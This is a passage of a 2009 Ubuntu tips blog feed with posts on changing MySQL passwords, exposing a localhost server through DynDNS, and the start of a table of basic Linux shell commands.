&lt;a href="http://feedads.g.doubleclick.net/~a/jip0mUdyb-u5UhxmEe98GmFfY6c/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/jip0mUdyb-u5UhxmEe98GmFfY6c/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/4K1tANkZVoA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/4K1tANkZVoA/reset-mysql-root-password.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/reset-mysql-root-password.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-270905330455479746</guid><pubDate>Fri, 18 Sep 2009 12:57:00 +0000</pubDate><atom:updated>2009-09-30T09:22:20.869+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">password change</category><category domain="http://www.blogger.com/atom/ns#">password</category><category domain="http://www.blogger.com/atom/ns#">mysql</category><category domain="http://www.blogger.com/atom/ns#">change password</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Change MySQL Password</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
 
   
        --&gt;
&lt;/style&gt;  &lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;From Linux/Unix based systems, it is easy to set or change the root password. For setting this you need to open Terminal &lt;span style="background-color: white;"&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span style="background-color: white; color: black;"&gt; &lt;/span&gt;&lt;span style="background-color: white; color: black; font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;Applications-&amp;gt;Accessories-&amp;gt;Terminal&amp;nbsp; &lt;span style="font-size: small;"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="background-color: white; color: #666666; font-size: x-small;"&gt; Alt+F2 and type gnome-terminal&lt;/span&gt;&lt;span style="background-color: white; color: white;"&gt; &lt;/span&gt;&lt;span style="background-color: white;"&gt;]&lt;/span&gt; and type the following:&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="background-color: white;"&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%; margin-bottom: 0cm; margin-left: 0.1cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;SETTING THE ROOT PASSWORD:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;If we are setting the password as 'passkey'&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;$ mysqladmin -u root password passkey&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%; margin-bottom: 0cm; margin-left: 0.1cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;CHANGING THE PASSWORD:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;If we are going to change the password 'passkey' to 'yekssap'&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;$ mysqladmin -u root -p'passkey' password 'yekssap'&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: grey;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: xx-small;"&gt;&lt;i&gt;N&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(255, 255, 255) none repeat scroll 0% 0%;"&gt;ote: In the same way we can change password of any user of MySql.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%; margin-bottom: 0cm; margin-left: 0.1cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;b&gt;Change Password in MySQL  Prompt&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: transparent none repeat scroll 0% 0%; margin-bottom: 0cm; margin-left: 0.1cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 01 -  Login to MySQL from Terminal as root&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;$ mysql -u root -p&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;and enter the password.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: grey;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;&lt;span style="font-size: xx-small;"&gt;&lt;i&gt;&lt;span style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(255, 255, 255) none repeat scroll 0% 0%;"&gt;Note if there is no password leave the '-p' from above code.&lt;/span&gt;&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; margin-left: 0.2cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 02 – Select MySQL database using 'use' sql command&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;mysql&amp;gt; use mysql;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 03 -  Change password of the user using 'update' sql command.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Changing the password of the user developer to 'passkey'&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;mysql&amp;gt; update user set password=PASSWORD("passkey") where User='developer';&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Step 04 – Reload Privileges&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;mysql&amp;gt; flush privileges;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div align="left" lang="en-US" style="-moz-background-clip: -moz-initial; -moz-background-inline-policy: -moz-initial; -moz-background-origin: -moz-initial; background: rgb(230, 230, 230) none repeat scroll 0% 0%; border: 1px solid rgb(128, 128, 128); margin-bottom: 0cm; padding: 0.05cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="color: blue;"&gt;&lt;span style="font-family: ARial,sans-serif;"&gt;&lt;span style="font-size: x-small;"&gt;mysql&amp;gt; quit;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm; page-break-before: auto; text-indent: 0.1cm;"&gt;&lt;span style="font-family: Tahoma,sans-serif;"&gt;Thats all folks ;-)&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-270905330455479746?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SME4iFwlo0GLqe0IT8opgOfW2jo/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SME4iFwlo0GLqe0IT8opgOfW2jo/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SME4iFwlo0GLqe0IT8opgOfW2jo/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SME4iFwlo0GLqe0IT8opgOfW2jo/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/095wfZ-IL7E" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/095wfZ-IL7E/change-mysql-password.html</link><author>noreply@blogger.com (Anish)</author><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/change-mysql-password.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-4757489308876331543</guid><pubDate>Fri, 18 Sep 2009 09:02:00 +0000</pubDate><atom:updated>2009-09-30T09:21:29.148+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">dns</category><category domain="http://www.blogger.com/atom/ns#">dyndns</category><category domain="http://www.blogger.com/atom/ns#">dynamic dns</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><category domain="http://www.blogger.com/atom/ns#">localhost to internet</category><title>Put your localhost into The Internet</title><description>&lt;style type="text/css"&gt;
 &lt;!--
  @page { margin: 2cm }
  P { margin-bottom: 0.21cm }
  A:link { so-language: zxx }
 --&gt;
 
&lt;/style&gt;  &lt;br /&gt;
&lt;div style="margin-bottom: 0cm;"&gt;&lt;span lang="en-US"&gt;Most of the developers do their works on localhost. I am using my &lt;a href="http://www.ubuntulinux.org/"&gt;ubuntu&lt;/a&gt; machine installed with apache2, mySql and PHP5 for my works.&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;If one of my clients wants to access my localhost to check my works, I have to  either buy a host [still, it is the best idea], having large space so that I can add my development; but it costs time and money. Even if money is not a matter, none of the companies do the registration within an hour or so; or we have to find a free-host for php and upload the files [the worst choice], having very limited resources sometimes it won't work.&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;What if we can make available our localhost in to Internet?. Most of the coders have the Internet facility, which is always connected, probably the systems have very less downtime. Even I slept for hours I never let my system to sleep. I think most of the coders have the same habit.&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;We just need to have a domain name which addresses our IP. IP in Internet is dynamic, it is automatically set to one IP dynamically, we can call it dynamic IP. If we are trying buy a host name and set it to our IP, then difficulty comes here, the issue with dynamic IP. If there is a technology that automatically tracking the IP changes, the problem is solved.&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;The solution for this problem is here: &lt;a href="https://www.dyndns.com/"&gt;https://www.dyndns.com/&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div lang="en-US" style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;span lang="en-US"&gt;Dynamic DNS Free (DDNS) allows you to create a hostname that points to your home or office IP address, providing an easy-to-remember URL for quick access. They &lt;/span&gt;also provide an update mechanism which makes the hostname work with your dynamic IP address.&lt;span lang="en-US"&gt; DynDns have about 10 years of experience in DDNS, so they are planning to move on with the free service. In a free account you can create upto 5 hostnames, that means home,office, laptop and two more blah blahs ;-).&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;span lang="en-US"&gt;I&lt;/span&gt;&lt;span lang="en-US"&gt;&lt;b&gt;mportant Links:&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style="margin-bottom: 0cm;"&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;ul&gt;&lt;li&gt;  &lt;a href="https://www.dyndns.com/services/dns/dyndns/howto.html"&gt;&lt;span lang="en-US"&gt;DynDns  Howto&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.dyndns.com/support/kb/email_mail_exchangers_and_dns.html"&gt;&lt;span lang="en-US"&gt;Mail  Exchangers&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.dyndns.com/services/dns/dyndns/readme.html"&gt;&lt;span lang="en-US"&gt;ReadMe&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.dyndns.com/about/"&gt;&lt;span lang="en-US"&gt;About  dyndns&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.dyndns.com/services/"&gt;&lt;span lang="en-US"&gt;Offered  Services&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;  &lt;a href="https://www.dyndns.com/"&gt;Free  Registration&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_K8Up6_JRdZk/SrNMn5wKhnI/AAAAAAAAAx4/9eVPllMGnMA/s1600-h/0123.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_K8Up6_JRdZk/SrNMn5wKhnI/AAAAAAAAAx4/9eVPllMGnMA/s400/0123.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3927556057800641511-4757489308876331543?l=ubutrix.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/rllUqJ4qYAJ0BBbtJNcEZ6In60A/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rllUqJ4qYAJ0BBbtJNcEZ6In60A/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/rllUqJ4qYAJ0BBbtJNcEZ6In60A/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/rllUqJ4qYAJ0BBbtJNcEZ6In60A/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/ubutrix/~4/srbibtMyOKA" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/ubutrix/~3/srbibtMyOKA/put-your-localhost-into-internet.html</link><author>noreply@blogger.com (Anish)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_K8Up6_JRdZk/SrNMn5wKhnI/AAAAAAAAAx4/9eVPllMGnMA/s72-c/0123.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://ubutrix.blogspot.com/2009/09/put-your-localhost-into-internet.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3927556057800641511.post-5395283136538863993</guid><pubDate>Thu, 17 Sep 2009 06:48:00 +0000</pubDate><atom:updated>2009-09-30T09:21:07.980+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">linux commands</category><category domain="http://www.blogger.com/atom/ns#">unix commands</category><category domain="http://www.blogger.com/atom/ns#">commands</category><category domain="http://www.blogger.com/atom/ns#">shell</category><category domain="http://www.blogger.com/atom/ns#">ubuntu</category><title>Shells: 01- Introduction - Linux Commands</title><description>Shell Scripts are the main feature of linux distributions.&lt;br /&gt;
&lt;br /&gt;
Lets know what &lt;a href="http://en.wikipedia.org/wiki/Main_Page"&gt;wikepedia&lt;/a&gt; defined about shell scripts&lt;span style="font-size: x-small;"&gt;[&lt;a href="http://en.wikipedia.org/wiki/Shell_scripts"&gt;wikipedia page&lt;/a&gt;]&lt;/span&gt;. Before starting shell script we must learn some important linux/unix commands which makes wonder with shell scripting.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div style="background-color: #351c75; color: #f3f3f3; text-align: center;"&gt;GENERAL COMMANDS&lt;br /&gt;
&lt;/div&gt;&lt;table border="0" cellpadding="4" cellspacing="0" style="width: 549px;"&gt;&lt;col width="92"&gt;&lt;/col&gt;   &lt;col width="314"&gt;&lt;/col&gt;   &lt;col width="117"&gt;&lt;/col&gt;   &lt;tbody&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;b&gt;Command&lt;/b&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;b&gt;Description&lt;/b&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;b&gt;Help Page [&lt;a href="http://linuxmanpages.com/"&gt;man&lt;/a&gt;]&lt;/b&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;apropos&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;&lt;b&gt;apropos&lt;/b&gt; searches a set of database files containing short descriptions of system commands for keywords and&lt;br /&gt;
displays the result on the standard output. &lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/apropos.1.php"&gt;apropos&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;Ps2pdf&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;The &lt;b&gt;ps2pdf&lt;/b&gt; scripts are work-alikes for&lt;br /&gt;
nearly all the functionality (but not the user interface) of Adobe's Acrobat Distiller product: they convert PostScript files to Portable Document Format (PDF) files. &lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/ps2pdf.1.php"&gt;ps2pdf&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;which&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;&lt;b&gt;Which&lt;/b&gt; takes one or more arguments. For each of its arguments it prints to stdout the full path of the executables that would have been executed when this argument had been entered at the shell prompt.&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/which.1.php"&gt;which&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;time&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=3927556057800641511&amp;amp;postID=5395283136538863993" name="lbAE"&gt;&lt;/a&gt;The &lt;b&gt;time&lt;/b&gt; command runs the specified program &lt;i&gt;command&lt;/i&gt; with the given arguments. When &lt;i&gt;command&lt;/i&gt; finishes, &lt;b&gt;time &lt;/b&gt;writes a message to standard output giving timing statistics about this program run.&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/time.1.php"&gt;time&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center"&gt;cd&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="314"&gt;&lt;br /&gt;
&lt;div align="left"&gt;Change the current directory to &lt;i&gt;dir&lt;/i&gt;. The variable &lt;span style="font-size: x-small;"&gt;&lt;b&gt;HOME&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;is the default &lt;i&gt;dir&lt;/i&gt;. &lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;    &lt;td width="117"&gt;&lt;br /&gt;
&lt;div align="center"&gt;&lt;a href="http://linuxmanpages.com/man1/cd.1.php"&gt;cd&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;tr valign="top"&gt;    &lt;td width="92"&gt;&lt;br /&gt;
&lt;div align="center" style="text-decoration: none;"&gt;gzip&lt;br /&gt;
